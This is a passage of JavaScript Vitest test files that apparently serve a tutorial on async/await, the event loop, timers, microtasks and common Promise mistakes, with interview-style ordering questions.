Promise.resolve() order.push('after second await') } multipleAwaits() order.push('sync after call') expect(order).toEqual(['start', 'sync after call']) await Promise.resolve() expect(order).toEqual(['start', 'sync after call', 'after first await']) await Promise.resolve() expect(order).toEqual(['start', 'sync after call', 'after first await', 'after second await']) }) }) // ============================================================ // ERROR HANDLING WITH try/catch // ============================================================ describe('Error Handling with try/catch', () => { it('should catch rejected Promises with try/catch', async () => { // From: Basic try/catch pattern async function fetchData() { try { await Promise.reject(new Error('Network error')) return 'success' } catch (error) { return `caught: ${error.message}` } } expect(await fetchData()).toBe('caught: Network error') }) it('should catch errors thrown in async functions', async () => { async function mightFail(shouldFail) { if (shouldFail) { throw new Error('Failed!') } return 'Success' } expect(await mightFail(false)).toBe('Success') await expect(mightFail(true)).rejects.toThrow('Failed!') }) it('should run finally block regardless of success or failure', async () => { // From: The finally block const results = [] async function withFinally(shouldFail) { try { if (shouldFail) { throw new Error('error') } results.push('success') } catch (error) { results.push('caught') } finally { results.push('finally') } } await withFinally(false) expect(results).toEqual(['success', 'finally']) results.length = 0 await withFinally(true) expect(results).toEqual(['caught', 'finally']) }) it('should demonstrate the swallowed error mistake', async () => { // From: The Trap - if you catch but don't re-throw, Promise resolves with undefined async function swallowsError() { try { throw new Error('Oops') } catch (error) { console.error('Error:', error) // Missing: throw error } } // This resolves (not rejects!) with undefined const result = await swallowsError() expect(result).toBeUndefined() }) it('should propagate errors when re-thrown', async () => { async function rethrowsError() { try { throw new Error('Oops') } catch (error) { throw error // Re-throw } } await expect(rethrowsError()).rejects.toThrow('Oops') }) it('should catch errors from nested async calls', async () => { // From: Interview Question 3 - Error Handling async function inner() { throw new Error('Oops!') } async function outer() { try { await inner() return 'success' } catch (e) { return `caught: ${e.message}` } } expect(await outer()).toBe('caught: Oops!') }) }) // ============================================================ // SEQUENTIAL VS PARALLEL EXECUTION // ============================================================ describe('Sequential vs Parallel Execution', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('should demonstrate slow sequential execution', async () => { // From: The Problem - Unnecessary Sequential Execution const delay = (ms, value) => new Promise(resolve => setTimeout(() => resolve(value), ms) ) async function sequential() { const start = Date.now() const a = await delay(100, 'a') const b = await delay(100, 'b') const c = await delay(100, 'c') return { a, b, c, time: Date.now() - start } } const promise = sequential() // Advance through all three delays await vi.advanceTimersByTimeAsync(100) await vi.advanceTimersByTimeAsync(100) await vi.advanceTimersByTimeAsync(100) const result = await promise expect(result.a).toBe('a') expect(result.b).toBe('b') expect(result.c).toBe('c') expect(result.time).toBeGreaterThanOrEqual(300) // Sequential: 100+100+100 }) it('should demonstrate fast parallel execution with Promise.all', async () => { // From: The Solution - Promise.all for Parallel Execution const delay = (ms, value) => new Promise(resolve => setTimeout(() => resolve(value), ms) ) async function parallel() { const start = Date.now() const [a, b, c] = await Promise.all([ delay(100, 'a'), delay(100, 'b'), delay(100, 'c') ]) return { a, b, c, time: Date.now() - start } } const promise = parallel() // All three start at once, so only need 100ms total await vi.advanceTimersByTimeAsync(100) const result = await promise expect(result.a).toBe('a') expect(result.b).toBe('b') expect(result.c).toBe('c') expect(result.time).toBe(100) // Parallel: max(100,100,100) = 100 }) it('should fail fast with Promise.all when any Promise rejects', async () => { // From: Promise.all - fails fast const results = await Promise.allSettled([ Promise.resolve('success'), Promise.reject(new Error('fail')), Promise.resolve('also success') ]) expect(results[0]).toEqual({ status: 'fulfilled', value: 'success' }) expect(results[1].status).toBe('rejected') expect(results[1].reason.message).toBe('fail') expect(results[2]).toEqual({ status: 'fulfilled', value: 'also success' }) }) it('should get all results with Promise.allSettled', async () => { // From: Promise.allSettled - waits for all const results = await Promise.allSettled([ Promise.resolve('a'), Promise.reject(new Error('b failed')), Promise.resolve('c') ]) const successful = results .filter(r => r.status === 'fulfilled') .map(r => r.value) const failed = results .filter(r => r.status === 'rejected') .map(r => r.reason.message) expect(successful).toEqual(['a', 'c']) expect(failed).toEqual(['b failed']) }) }) // ============================================================ // COMMON MISTAKES // ============================================================ describe('Common Mistakes', () => { it('Mistake #1: Forgetting await gives Promise instead of value', async () => { // From: Without await, you get a Promise object instead of the resolved value async function withoutAwait() { const value = Promise.resolve(42) // Missing await! return value } async function withAwait() { const value = await Promise.resolve(42) return value } const withoutResult = await withoutAwait() const withResult = await withAwait() // Both eventually resolve to 42, but withoutAwait returns a Promise expect(withoutResult).toBe(42) // Works because we await the function expect(withResult).toBe(42) }) it('Mistake #2: forEach does not wait for async callbacks', async () => { // From: forEach doesn't wait for async callbacks const order = [] const items = [1, 2, 3] // This is the WRONG way async function wrongWay() { items.forEach(async (item) => { await Promise.resolve() order.push(item) }) order.push('done') } await wrongWay() // 'done' appears before the items because forEach doesn't wait expect(order[0]).toBe('done') // Let microtasks complete await Promise.resolve() await Promise.resolve() await Promise.resolve() expect(order).toEqual(['done', 1, 2, 3]) }) it('Mistake #2 Fix: Use for...of for sequential processing', async () => { // From: Use for...of for sequential const order = [] const items = [1, 2, 3] async function rightWay() { for (const item of items) { await Promise.resolve() order.push(item) } order.push('done') } await rightWay() expect(order).toEqual([1, 2, 3, 'done']) }) it('Mistake #2 Fix: Use Promise.all with map for parallel processing', async () => { // From: Use Promise.all for parallel const results = [] const items = [1, 2, 3] async function parallelWay() { await Promise.all( items.map(async (item) => { await Promise.resolve() results.push(item) }) ) results.push('done') } await parallelWay() // Items may be in any order (parallel), but 'done' is always last expect(results).toContain(1) expect(results).toContain(2) expect(results).toContain(3) expect(results[results.length - 1]).toBe('done') }) it('Mistake #4: Not handling errors leads to unhandled rejections', async () => { // From: Not Handling Errors async function riskyOperation() { throw new Error('Unhandled!') } // Without error handling, this would be an unhandled rejection await expect(riskyOperation()).rejects.toThrow('Unhandled!') }) }) // ============================================================ // ADVANCED PATTERNS // ============================================================ describe('Advanced Patterns', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('should implement retry with exponential backoff', async () => { // From: Retry with Exponential Backoff let attempts = 0 async function flakyOperation() { attempts++ if (attempts < 3) { throw new Error('Temporary failure') } return 'success' } async function withRetry(operation, retries = 3, backoff = 100) { for (let attempt = 0; attempt < retries; attempt++) { try { return await operation() } catch (error) { if (attempt === retries - 1) throw error await new Promise(resolve => setTimeout(resolve, backoff * Math.pow(2, attempt))) } } } const promise = withRetry(flakyOperation, 3, 100) // First attempt fails, wait 100ms await vi.advanceTimersByTimeAsync(0) expect(attempts).toBe(1) // Second attempt after 100ms, fails, wait 200ms await vi.advanceTimersByTimeAsync(100) expect(attempts).toBe(2) // Third attempt after 200ms, succeeds await vi.advanceTimersByTimeAsync(200) const result = await promise expect(result).toBe('success') expect(attempts).toBe(3) }) it('should implement timeout wrapper', async () => { // From: Timeout Wrapper async function withTimeout(promise, ms) { const timeout = new Promise((_, reject) => { setTimeout(() => reject(new Error(`Timeout after ${ms}ms`)), ms) }) return Promise.race([promise, timeout]) } // Test successful case const fastPromise = withTimeout(Promise.resolve('fast'), 1000) expect(await fastPromise).toBe('fast') // Test timeout case const slowPromise = new Promise(resolve => setTimeout(() => resolve('slow'), 2000)) const timeoutPromise = withTimeout(slowPromise, 100) // Advance time to trigger timeout vi.advanceTimersByTime(100) await expect(timeoutPromise).rejects.toThrow('Timeout after 100ms') }) it('should implement cancellation with AbortController', async () => { // From: Cancellation with AbortController async function fetchWithCancellation(signal) { return new Promise((resolve, reject) => { const timeoutId = setTimeout(() => resolve('data'), 1000) signal.addEventListener('abort', () => { clearTimeout(timeoutId) reject(new DOMException('Aborted', 'AbortError')) }) }) } const controller = new AbortController() const promise = fetchWithCancellation(controller.signal) // Cancel before it completes controller.abort() await expect(promise).rejects.toThrow('Aborted') }) it('should convert callback API to async/await', async () => { // From: Converting Callback APIs to async/await function callbackApi(value, callback) { setTimeout(() => { if (value < 0) { callback(new Error('Negative value')) } else { callback(null, value * 2) } }, 100) } // Promisified version function asyncApi(value) { return new Promise((resolve, reject) => { callbackApi(value, (err, result) => { if (err) reject(err) else resolve(result) }) }) } // Test success const successPromise = asyncApi(21) await vi.advanceTimersByTimeAsync(100) expect(await successPromise).toBe(42) // Test failure - must attach handler BEFORE advancing time const failPromise = asyncApi(-1) const failHandler = expect(failPromise).rejects.toThrow('Negative value') await vi.advanceTimersByTimeAsync(100) await failHandler }) }) // ============================================================ // INTERVIEW QUESTIONS // ============================================================ describe('Interview Questions', () => { it('Question 1: What is the output order?', async () => { // From: Interview Question 1 const order = [] async function test() { order.push('1') await Promise.resolve() order.push('2') } order.push('A') test() order.push('B') // Before microtasks expect(order).toEqual(['A', '1', 'B']) await Promise.resolve() // After microtasks expect(order).toEqual(['A', '1', 'B', '2']) }) it('Question 2: Sequential vs Parallel timing', async () => { // From: Interview Question 2 vi.useFakeTimers() function delay(ms) { return new Promise(resolve => setTimeout(resolve, ms)) } // Version A - Sequential async function versionA() { const start = Date.now() await delay(100) await delay(100) return Date.now() - start } // Version B - Parallel async function versionB() { const start = Date.now() await Promise.all([delay(100), delay(100)]) return Date.now() - start } const promiseA = versionA() await vi.advanceTimersByTimeAsync(200) const timeA = await promiseA const promiseB = versionB() await vi.advanceTimersByTimeAsync(100) const timeB = await promiseB expect(timeA).toBe(200) // Sequential: 100 + 100 expect(timeB).toBe(100) // Parallel: max(100, 100) vi.useRealTimers() }) it('Question 4: The forEach trap', async () => { // From: Interview Question 4 - The forEach Trap vi.useFakeTimers() const order = [] async function processItems() { const items = [1, 2, 3] items.forEach(async (item) => { await new Promise(resolve => setTimeout(resolve, 100)) order.push(item) }) order.push('Done') } processItems() // 'Done' appears immediately because forEach doesn't wait expect(order).toEqual(['Done']) // After delays complete await vi.advanceTimersByTimeAsync(100) await Promise.resolve() await Promise.resolve() await Promise.resolve() expect(order).toEqual(['Done', 1, 2, 3]) vi.useRealTimers() }) it('Question 5: Unnecessary await before return', async () => { // From: Interview Question 5 - What is wrong here? // This await is unnecessary (but not wrong) async function unnecessaryAwait() { return await Promise.resolve(42) } // This is equivalent and cleaner async function noAwait() { return Promise.resolve(42) } expect(await unnecessaryAwait()).toBe(42) expect(await noAwait()).toBe(42) }) it('Question 6: Complex output order with async/await, Promises, and setTimeout', async () => { // From: Test Your Knowledge Question 6 vi.useFakeTimers() const order = [] order.push('1') setTimeout(() => order.push('2'), 0) Promise.resolve().then(() => order.push('3')) async function test() { order.push('4') await Promise.resolve() order.push('5') } test() order.push('6') // Synchronous code completes: 1, 4, 6 expect(order).toEqual(['1', '4', '6']) // Microtasks run: 3, 5 await Promise.resolve() await Promise.resolve() expect(order).toEqual(['1', '4', '6', '3', '5']) // Macrotask runs: 2 await vi.advanceTimersByTimeAsync(0) expect(order).toEqual(['1', '4', '6', '3', '5', '2']) vi.useRealTimers() }) }) // ============================================================ // ASYNC/AWAIT WITH PROMISES INTEROPERABILITY // ============================================================ describe('async/await and Promises Interoperability', () => { it('should work with .then() on async function results', async () => { async function getData() { return 42 } const result = await getData().then(x => x * 2) expect(result).toBe(84) }) it('should work with .catch() on async function results', async () => { async function failingFn() { throw new Error('failed') } const result = await failingFn().catch(err => `caught: ${err.message}`) expect(result).toBe('caught: failed') }) it('should allow mixing async/await and Promise chains', async () => { async function step1() { return 'step1' } function step2(prev) { return Promise.resolve(`${prev} -> step2`) } async function step3(prev) { return `${prev} -> step3` } const result = await step1() .then(step2) .then(step3) expect(result).toBe('step1 -> step2 -> step3') }) it('should handle Promise.race with async functions', async () => { vi.useFakeTimers() async function fast() { await new Promise(resolve => setTimeout(resolve, 50)) return 'fast' } async function slow() { await new Promise(resolve => setTimeout(resolve, 200)) return 'slow' } const racePromise = Promise.race([fast(), slow()]) await vi.advanceTimersByTimeAsync(50) expect(await racePromise).toBe('fast') vi.useRealTimers() }) }) // ============================================================ // EDGE CASES // ============================================================ describe('Edge Cases', () => { it('should handle async function that returns undefined', async () => { async function returnsNothing() { await Promise.resolve() // No return statement } const result = await returnsNothing() expect(result).toBeUndefined() }) it('should handle async function that returns null', async () => { async function returnsNull() { return null } const result = await returnsNull() expect(result).toBeNull() }) it('should handle nested async functions', async () => { async function outer() { async function inner() { return await Promise.resolve('inner value') } return await inner() } expect(await outer()).toBe('inner value') }) it('should handle async IIFE', async () => { const result = await (async () => { return 'IIFE result' })() expect(result).toBe('IIFE result') }) it('should handle await in conditional', async () => { async function conditionalAwait(condition) { if (condition) { return await Promise.resolve('true branch') } else { return await Promise.resolve('false branch') } } expect(await conditionalAwait(true)).toBe('true branch') expect(await conditionalAwait(false)).toBe('false branch') }) it('should handle await in try-catch-finally', async () => { const order = [] async function withTryCatchFinally() { try { order.push('try start') await Promise.resolve() order.push('try end') throw new Error('test') } catch (e) { order.push('catch') await Promise.resolve() order.push('catch after await') } finally { order.push('finally') await Promise.resolve() order.push('finally after await') } } await withTryCatchFinally() expect(order).toEqual([ 'try start', 'try end', 'catch', 'catch after await', 'finally', 'finally after await' ]) }) it('should handle await in loop', async () => { async function loopWithAwait() { const results = [] for (let i = 0; i < 3; i++) { results.push(await Promise.resolve(i)) } return results } expect(await loopWithAwait()).toEqual([0, 1, 2]) }) it('should handle rejected Promise without await in try block', async () => { // This is a subtle bug - the catch won't catch the rejection // because the Promise is returned, not awaited async function subtleBug() { try { return Promise.reject(new Error('not caught')) } catch (e) { return 'caught' } } // The error is NOT caught by the try-catch await expect(subtleBug()).rejects.toThrow('not caught') }) it('should catch rejected Promise when awaited in try block', async () => { async function fixedVersion() { try { return await Promise.reject(new Error('is caught')) } catch (e) { return 'caught' } } // Now the error IS caught expect(await fixedVersion()).toBe('caught') }) }) }) ================================================ FILE: tests/functions-execution/event-loop/event-loop.test.js ================================================ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' describe('Event Loop, Timers and Scheduling', () => { // ============================================================ // SYNCHRONOUS EXECUTION // ============================================================ describe('Synchronous Execution', () => { it('should execute code one line at a time in order', () => { // From lines 99-104: JavaScript executes these ONE AT A TIME, in order const order = [] order.push('First') // 1. This runs order.push('Second') // 2. Then this order.push('Third') // 3. Then this expect(order).toEqual(['First', 'Second', 'Third']) }) it('should execute nested function calls correctly (multiply, square, printSquare)', () => { // From lines 210-224: Call Stack example function multiply(a, b) { return a * b } function square(n) { return multiply(n, n) } function printSquare(n) { const result = square(n) return result } expect(printSquare(4)).toBe(16) expect(square(5)).toBe(25) expect(multiply(3, 4)).toBe(12) }) it('should store objects and arrays in the heap', () => { // From lines 243-245: Heap example const user = { name: 'Alice' } // Object stored in heap const numbers = [1, 2, 3] // Array stored in heap expect(user).toEqual({ name: 'Alice' }) expect(numbers).toEqual([1, 2, 3]) }) }) // ============================================================ // setTimeout BASICS // ============================================================ describe('setTimeout Basics', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('should run callback after specified delay', async () => { const callback = vi.fn() setTimeout(callback, 2000) expect(callback).not.toHaveBeenCalled() await vi.advanceTimersByTimeAsync(2000) expect(callback).toHaveBeenCalledTimes(1) }) it('should pass arguments to the callback', async () => { // From lines 562-566: Pass arguments to the callback let result = '' setTimeout((name, greeting) => { result = `${greeting}, ${name}!` }, 1000, 'Alice', 'Hello') await vi.advanceTimersByTimeAsync(1000) expect(result).toBe('Hello, Alice!') }) it('should cancel timeout with clearTimeout', async () => { // From lines 569-577: Canceling a timeout const callback = vi.fn() const timerId = setTimeout(callback, 5000) // Cancel it before it fires clearTimeout(timerId) await vi.advanceTimersByTimeAsync(5000) expect(callback).not.toHaveBeenCalled() }) it('should demonstrate the zero delay myth - setTimeout(fn, 0) does NOT run immediately', async () => { // From lines 580-589: Zero delay myth const order = [] order.push('A') setTimeout(() => order.push('B'), 0) order.push('C') // Before advancing timers, only sync code has run expect(order).toEqual(['A', 'C']) await vi.advanceTimersByTimeAsync(0) // Output: A, C, B (NOT A, B, C!) expect(order).toEqual(['A', 'C', 'B']) }) it('should run synchronous code first, then setTimeout callback', async () => { // From lines 313-323: Basic setTimeout example const order = [] order.push('Start') setTimeout(() => { order.push('Timeout') }, 0) order.push('End') // Before microtasks/timers run expect(order).toEqual(['Start', 'End']) await vi.advanceTimersByTimeAsync(0) // Output: Start, End, Timeout expect(order).toEqual(['Start', 'End', 'Timeout']) }) it('should run multiple setTimeout callbacks in order of their delays', async () => { const order = [] setTimeout(() => order.push('200ms'), 200) setTimeout(() => order.push('100ms'), 100) setTimeout(() => order.push('300ms'), 300) await vi.advanceTimersByTimeAsync(300) expect(order).toEqual(['100ms', '200ms', '300ms']) }) it('should run setTimeout callbacks with same delay in registration order', async () => { const order = [] setTimeout(() => order.push('first'), 100) setTimeout(() => order.push('second'), 100) setTimeout(() => order.push('third'), 100) await vi.advanceTimersByTimeAsync(100) expect(order).toEqual(['first', 'second', 'third']) }) it('should demonstrate the 4ms minimum delay after nested timeouts', async () => { // From lines 601-615: After 5 nested timeouts, browsers enforce a minimum 4ms delay // Note: Vitest fake timers don't enforce the 4ms minimum, so we test the pattern const times = [] let start = Date.now() function run() { times.push(Date.now() - start) if (times.length < 10) { setTimeout(run, 0) } } setTimeout(run, 0) // Run all nested timeouts await vi.runAllTimersAsync() // Should have 10 timestamps recorded expect(times.length).toBe(10) // In fake timers, all execute at 0ms intervals // In real browsers, after 5 nested calls, minimum becomes 4ms // Pattern: [1, 1, 1, 1, 4, 9, 14, 19, 24, 29] approximately }) }) // ============================================================ // DEBOUNCE PATTERN // ============================================================ describe('Debounce Pattern', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('should cancel previous timeout when implementing debounce', async () => { // From lines 1341-1349: Cancel previous timeout (debounce) const searchResults = [] let timeoutId function handleInput(value) { clearTimeout(timeoutId) timeoutId = setTimeout(() => { searchResults.push(`search: ${value}`) }, 300) } // Simulate rapid typing handleInput('a') await vi.advanceTimersByTimeAsync(100) handleInput('ab') await vi.advanceTimersByTimeAsync(100) handleInput('abc') await vi.advanceTimersByTimeAsync(100) // At this point, 300ms hasn't passed since last input expect(searchResults).toEqual([]) // Wait for debounce delay await vi.advanceTimersByTimeAsync(300) // Only the last input should trigger a search expect(searchResults).toEqual(['search: abc']) }) it('should execute immediately if enough time passes between inputs', async () => { const searchResults = [] let timeoutId function handleInput(value) { clearTimeout(timeoutId) timeoutId = setTimeout(() => { searchResults.push(`search: ${value}`) }, 300) } handleInput('first') await vi.advanceTimersByTimeAsync(300) expect(searchResults).toEqual(['search: first']) handleInput('second') await vi.advanceTimersByTimeAsync(300) expect(searchResults).toEqual(['search: first', 'search: second']) }) }) // ============================================================ // SETINTERVAL WITH ASYNC PROBLEM // ============================================================ describe('setInterval with Async Problem', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('should demonstrate overlapping requests with setInterval and async', async () => { // From lines 1521-1526: If fetch takes longer than interval, multiple requests overlap const requestsStarted = [] const requestsCompleted = [] let requestCount = 0 // Simulate a slow fetch that takes 1500ms async function slowFetch() { const id = ++requestCount requestsStarted.push(`request ${id} started`) await new Promise(resolve => setTimeout(resolve, 1500)) requestsCompleted.push(`request ${id} completed`) } // Start interval that fires every 1000ms const intervalId = setInterval(async () => { await slowFetch() }, 1000) // After 1000ms: first request starts await vi.advanceTimersByTimeAsync(1000) await Promise.resolve() expect(requestsStarted).toEqual(['request 1 started']) expect(requestsCompleted).toEqual([]) // After 2000ms: second request starts (first still pending!) await vi.advanceTimersByTimeAsync(1000) await Promise.resolve() expect(requestsStarted).toEqual(['request 1 started', 'request 2 started']) expect(requestsCompleted).toEqual([]) // First request still not done // After 2500ms: first request completes await vi.advanceTimersByTimeAsync(500) await Promise.resolve() expect(requestsCompleted).toEqual(['request 1 completed']) // Clean up clearInterval(intervalId) }) it('should demonstrate the fix using nested setTimeout for polling', async () => { // From lines 1532-1539: Schedule next AFTER completion const requestsStarted = [] const requestsCompleted = [] let requestCount = 0 let isPolling = true // Simulate a slow fetch that takes 1500ms async function slowFetch() { const id = ++requestCount requestsStarted.push(`request ${id} started`) await new Promise(resolve => setTimeout(resolve, 1500)) requestsCompleted.push(`request ${id} completed`) } // Fixed polling pattern async function poll() { await slowFetch() if (isPolling && requestCount < 3) { setTimeout(poll, 1000) // Schedule next AFTER completion } } poll() // Request 1 starts immediately await Promise.resolve() expect(requestsStarted).toEqual(['request 1 started']) // After 1500ms: request 1 completes, then waits 1000ms before next await vi.advanceTimersByTimeAsync(1500) await Promise.resolve() expect(requestsCompleted).toEqual(['request 1 completed']) expect(requestsStarted.length).toBe(1) // No overlapping request! // After 2500ms (1500 + 1000): request 2 starts await vi.advanceTimersByTimeAsync(1000) await Promise.resolve() expect(requestsStarted).toEqual(['request 1 started', 'request 2 started']) // After 4000ms (1500 + 1000 + 1500): request 2 completes await vi.advanceTimersByTimeAsync(1500) await Promise.resolve() expect(requestsCompleted).toEqual(['request 1 completed', 'request 2 completed']) isPolling = false }) }) // ============================================================ // PROMISES AND MICROTASKS // ============================================================ describe('Promises and Microtasks', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('should run Promise.then() as a microtask', async () => { const order = [] order.push('sync 1') Promise.resolve().then(() => order.push('promise')) order.push('sync 2') // Microtask hasn't run yet expect(order).toEqual(['sync 1', 'sync 2']) // Let microtasks drain await Promise.resolve() expect(order).toEqual(['sync 1', 'sync 2', 'promise']) }) it('should run Promises BEFORE setTimeout (microtasks before macrotasks)', async () => { // From lines 391-401: Promises vs setTimeout const order = [] order.push('1') setTimeout(() => order.push('2'), 0) Promise.resolve().then(() => order.push('3')) order.push('4') // Let microtasks drain first await Promise.resolve() // At this point: ['1', '4', '3'] expect(order).toEqual(['1', '4', '3']) // Now let timers run await vi.advanceTimersByTimeAsync(0) // Output: 1, 4, 3, 2 expect(order).toEqual(['1', '4', '3', '2']) }) it('should drain entire microtask queue before any macrotask', async () => { // From lines 449-467: Nested Microtasks const order = [] order.push('Start') Promise.resolve() .then(() => { order.push('Promise 1') Promise.resolve().then(() => order.push('Promise 2')) }) setTimeout(() => order.push('Timeout'), 0) order.push('End') // Let all microtasks drain await Promise.resolve() await Promise.resolve() // Need two ticks for nested promise expect(order).toEqual(['Start', 'End', 'Promise 1', 'Promise 2']) // Now let timers run await vi.advanceTimersByTimeAsync(0) // Output: Start, End, Promise 1, Promise 2, Timeout expect(order).toEqual(['Start', 'End', 'Promise 1', 'Promise 2', 'Timeout']) }) it('should process newly added microtasks during microtask processing', async () => { const order = [] Promise.resolve().then(() => { order.push('first') Promise.resolve().then(() => { order.push('second') Promise.resolve().then(() => { order.push('third') }) }) }) // Drain all microtasks - need multiple ticks for nested promises await Promise.resolve() await Promise.resolve() await Promise.resolve() await Promise.resolve() expect(order).toEqual(['first', 'second', 'third']) }) it('should run queueMicrotask as a microtask', async () => { const order = [] order.push('sync 1') queueMicrotask(() => order.push('microtask')) order.push('sync 2') await Promise.resolve() expect(order).toEqual(['sync 1', 'sync 2', 'microtask']) }) it('should interleave Promise.resolve() and queueMicrotask in order', async () => { const order = [] Promise.resolve().then(() => order.push('promise 1')) queueMicrotask(() => order.push('queueMicrotask 1')) Promise.resolve().then(() => order.push('promise 2')) queueMicrotask(() => order.push('queueMicrotask 2')) await Promise.resolve() await Promise.resolve() // Microtasks run in order they were queued expect(order).toEqual(['promise 1', 'queueMicrotask 1', 'promise 2', 'queueMicrotask 2']) }) it('should demonstrate that Promise.resolve() creates a microtask, not synchronous execution', async () => { const order = [] const promise = Promise.resolve('value') order.push('after Promise.resolve()') promise.then(value => order.push(`then: ${value}`)) order.push('after .then()') await Promise.resolve() expect(order).toEqual([ 'after Promise.resolve()', 'after .then()', 'then: value' ]) }) }) // ============================================================ // setInterval // ============================================================ describe('setInterval', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('should run callback repeatedly at specified interval', async () => { // From lines 649-662: Basic setInterval usage let count = 0 const results = [] const intervalId = setInterval(() => { count++ results.push(`Count: ${count}`) if (count >= 5) { clearInterval(intervalId) results.push('Done!') } }, 1000) // Advance through 5 intervals await vi.advanceTimersByTimeAsync(5000) expect(results).toEqual([ 'Count: 1', 'Count: 2', 'Count: 3', 'Count: 4', 'Count: 5', 'Done!' ]) expect(count).toBe(5) }) it('should stop running when clearInterval is called', async () => { const callback = vi.fn() const intervalId = setInterval(callback, 100) await vi.advanceTimersByTimeAsync(250) expect(callback).toHaveBeenCalledTimes(2) clearInterval(intervalId) await vi.advanceTimersByTimeAsync(500) // Should still be 2, not more expect(callback).toHaveBeenCalledTimes(2) }) it('should pass arguments to the interval callback', async () => { const results = [] const intervalId = setInterval((prefix, suffix) => { results.push(`${prefix}test${suffix}`) }, 100, '[', ']') await vi.advanceTimersByTimeAsync(300) clearInterval(intervalId) expect(results).toEqual(['[test]', '[test]', '[test]']) }) }) // ============================================================ // NESTED setTimeout (preciseInterval pattern) // ============================================================ describe('Nested setTimeout (preciseInterval pattern)', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('should implement preciseInterval with nested setTimeout', async () => { // From lines 695-706: Nested setTimeout guarantees delay BETWEEN executions const results = [] let callCount = 0 function preciseInterval(callback, delay) { function tick() { callback() if (callCount < 3) { setTimeout(tick, delay) } } setTimeout(tick, delay) } preciseInterval(() => { callCount++ results.push(`tick ${callCount}`) }, 1000) await vi.advanceTimersByTimeAsync(3000) expect(results).toEqual(['tick 1', 'tick 2', 'tick 3']) }) it('should schedule next timeout only after callback completes', async () => { const timestamps = [] let count = 0 function recursiveTimeout() { timestamps.push(Date.now()) count++ if (count < 3) { setTimeout(recursiveTimeout, 100) } } setTimeout(recursiveTimeout, 100) await vi.advanceTimersByTimeAsync(300) expect(timestamps.length).toBe(3) // Each timestamp should be 100ms apart expect(timestamps[1] - timestamps[0]).toBe(100) expect(timestamps[2] - timestamps[1]).toBe(100) }) }) // ============================================================ // async/await // ============================================================ describe('async/await', () => { it('should run code before await synchronously', async () => { // From lines 955-964: async/await ordering const order = [] async function foo() { order.push('foo start') await Promise.resolve() order.push('foo end') } order.push('script start') foo() order.push('script end') // At this point, foo has paused at await expect(order).toEqual(['script start', 'foo start', 'script end']) // Let microtasks drain await Promise.resolve() // Output: script start, foo start, script end, foo end expect(order).toEqual(['script start', 'foo start', 'script end', 'foo end']) }) it('should treat code after await as a microtask', async () => { const order = [] async function asyncFn() { order.push('async start') await Promise.resolve() order.push('async after await') } order.push('before call') asyncFn() order.push('after call') // Await hasn't resolved yet expect(order).toEqual(['before call', 'async start', 'after call']) await Promise.resolve() expect(order).toEqual(['before call', 'async start', 'after call', 'async after await']) }) it('should handle multiple await statements', async () => { const order = [] async function multipleAwaits() { order.push('start') await Promise.resolve() order.push('after first await') await Promise.resolve() order.push('after second await') } multipleAwaits() order.push('sync after call') expect(order).toEqual(['start', 'sync after call']) await Promise.resolve() expect(order).toEqual(['start', 'sync after call', 'after first await']) await Promise.resolve() expect(order).toEqual(['start', 'sync after call', 'after first await', 'after second await']) }) it('should handle async functions returning values', async () => { async function getValue() { await Promise.resolve() return 42 } const result = await getValue() expect(result).toBe(42) }) it('should handle async functions with try/catch', async () => { async function mightFail(shouldFail) { await Promise.resolve() if (shouldFail) { throw new Error('Failed!') } return 'Success' } await expect(mightFail(false)).resolves.toBe('Success') await expect(mightFail(true)).rejects.toThrow('Failed!') }) }) // ============================================================ // INTERVIEW QUESTIONS // ============================================================ describe('Interview Questions', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('Question 1: Basic Output Order - should output 1, 4, 3, 2', async () => { // From lines 900-918 const order = [] order.push('1') setTimeout(() => order.push('2'), 0) Promise.resolve().then(() => order.push('3')) order.push('4') // Drain microtasks await Promise.resolve() expect(order).toEqual(['1', '4', '3']) // Drain macrotasks await vi.advanceTimersByTimeAsync(0) expect(order).toEqual(['1', '4', '3', '2']) }) it('Question 2: Nested Promises and Timeouts - should output sync, promise 1, promise 2, timeout 1, timeout 2', async () => { // From lines 921-951 const order = [] setTimeout(() => order.push('timeout 1'), 0) Promise.resolve().then(() => { order.push('promise 1') Promise.resolve().then(() => order.push('promise 2')) }) setTimeout(() => order.push('timeout 2'), 0) order.push('sync') // Sync done expect(order).toEqual(['sync']) // Drain microtasks (including nested ones) await Promise.resolve() await Promise.resolve() expect(order).toEqual(['sync', 'promise 1', 'promise 2']) // Drain macrotasks await vi.advanceTimersByTimeAsync(0) expect(order).toEqual(['sync', 'promise 1', 'promise 2', 'timeout 1', 'timeout 2']) }) it('Question 3: async/await Ordering - should output script start, foo start, script end, foo end', async () => { // From lines 953-981 const order = [] async function foo() { order.push('foo start') await Promise.resolve() order.push('foo end') } order.push('script start') foo() order.push('script end') await Promise.resolve() expect(order).toEqual(['script start', 'foo start', 'script end', 'foo end']) }) it('Question 4a: setTimeout in a loop with var - should output 3, 3, 3', async () => { // From lines 985-997 const order = [] for (var i = 0; i < 3; i++) { setTimeout(() => order.push(i), 0) } await vi.advanceTimersByTimeAsync(0) // All callbacks see i = 3 because var is function-scoped expect(order).toEqual([3, 3, 3]) }) it('Question 4b: setTimeout in a loop with let - should output 0, 1, 2', async () => { // From lines 999-1004 const order = [] for (let i = 0; i < 3; i++) { setTimeout(() => order.push(i), 0) } await vi.advanceTimersByTimeAsync(0) // Each callback has its own i because let is block-scoped expect(order).toEqual([0, 1, 2]) }) it('Question 4c: setTimeout in a loop with closure fix - should output 0, 1, 2', async () => { // From lines 1007-1015 const order = [] for (var i = 0; i < 3; i++) { ((j) => { setTimeout(() => order.push(j), 0) })(i) } await vi.advanceTimersByTimeAsync(0) // Each IIFE captures the current value of i expect(order).toEqual([0, 1, 2]) }) it('Question 6: Microtask scheduling - microtask should run', async () => { // From lines 1051-1077 (simplified - not infinite) const order = 